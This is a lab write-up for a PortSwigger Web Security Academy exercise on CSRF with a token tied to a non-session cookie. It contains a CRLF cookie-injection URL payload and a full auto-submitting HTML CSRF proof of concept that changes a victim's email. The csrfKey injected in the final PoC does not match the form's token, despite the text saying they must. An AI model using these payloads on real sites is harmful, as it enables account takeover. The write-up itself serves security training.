CSRF where token is tied to non-session cookie

Description

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system.

Reproduction and proof of concept

  1. Open Burp’s browser and log in to the wiener account. Submit the “Update email” form, and find the resulting request in your Proxy history.

  2. Send the request to Burp Repeater and observe that changing the session cookie logs you out, but changing the csrfKey cookie merely results in the csrf token being rejected. This suggests that the csrfKey cookie may not be strictly tied to the session. To check csrf cookie and csrf token are tied, enter an invalid token. The request is not accepted.

  3. Open a private/incognito browser window, log in to Portswigger, then on the lab site into the carlos attacker account, and send a fresh update email request into Burp Repeater.

  4. Swapping the csrfKey cookie and csrf parameter from the carlos account to the wiener account (or vv), the request is accepted.

HTTP/1.1 302 Found
Location: /my-account
Connection: close
Content-Length: 0

Swapping only one of the two, the request is not accepted. The two are tied.

  1. Close the Repeater tab and incognito browser.

  2. Back in the original browser in the wiener account, do a search, send the resulting request to Burp Repeater. Check that the search term gets reflected in the Set-Cookie header.

GET /?search=whatever HTTP/1.1
Host: 0a8a007003328fbbc0520eb3006500e7.web-security-academy.net
Cookie: session=3434rpqGQke3AkVlNlulO9qFJKzTjK4J; csrfKey=h8xkUPRUr4PbtkKwRm6bORpJx5qWNibu
...

Because the search function has no CSRF protection, this can be used to inject cookies into the victim user’s browser.

  1. Create a URL that uses this vulnerability to inject a csrfKey cookie from the carlos attacker account into the victim’s browser:

/?search=test%0d%0aSet-Cookie:%20csrfKey=JZdIUDJnjrR2QPnOBOVp9z5VukuYTpf4%3b%20SameSite=None

Results:

HTTP/1.1 200 OK
Set-Cookie: LastSearchTerm=test
Set-Cookie: csrfKey=JZdIUDJnjrR2QPnOBOVp9z5VukuYTpf4; SameSite=None; Secure; HttpOnly

  1. Create and host a proof of concept exploit as described in the solution to the CSRF vulnerability with no defences lab (above), ensuring that you include your CSRF token. The exploit should be created from the email change request.

  2. Remove the auto-submit script block and replace it with the /?search=test%0d%0aSet-Cookie:%20csrfKey=JZdIUDJnjrR2QPnOBOVp9z5VukuYTpf4%3b%20SameSite=None, and change the csrf token to the tied csrfKey one of the attacker:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a8a007003328fbbc0520eb3006500e7.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;normal&#45;user&#46;net" />
      <input type="hidden" name="csrf" value="JZdIUDJnjrR2QPnOBOVp9z5VukuYTpf4" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://0a8a007003328fbbc0520eb3006500e7.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=49yoasBlApBjSMbVt4Qi2SddyqBHMqgn%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

Copy HTML and put it in the body of the Exploit server form:

CSRF

  1. Store the exploit in the exploit server of the lab, then click Deliver to victim.

Exploitability

An attacker needs to use the exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address. There are two accounts on the application that can be used: wiener:peter (victim) and carlos:montoya (attacker).

Impact

If an attacker can change the email address of another user, he/she can log in as that user and gain access to the account and all of its data.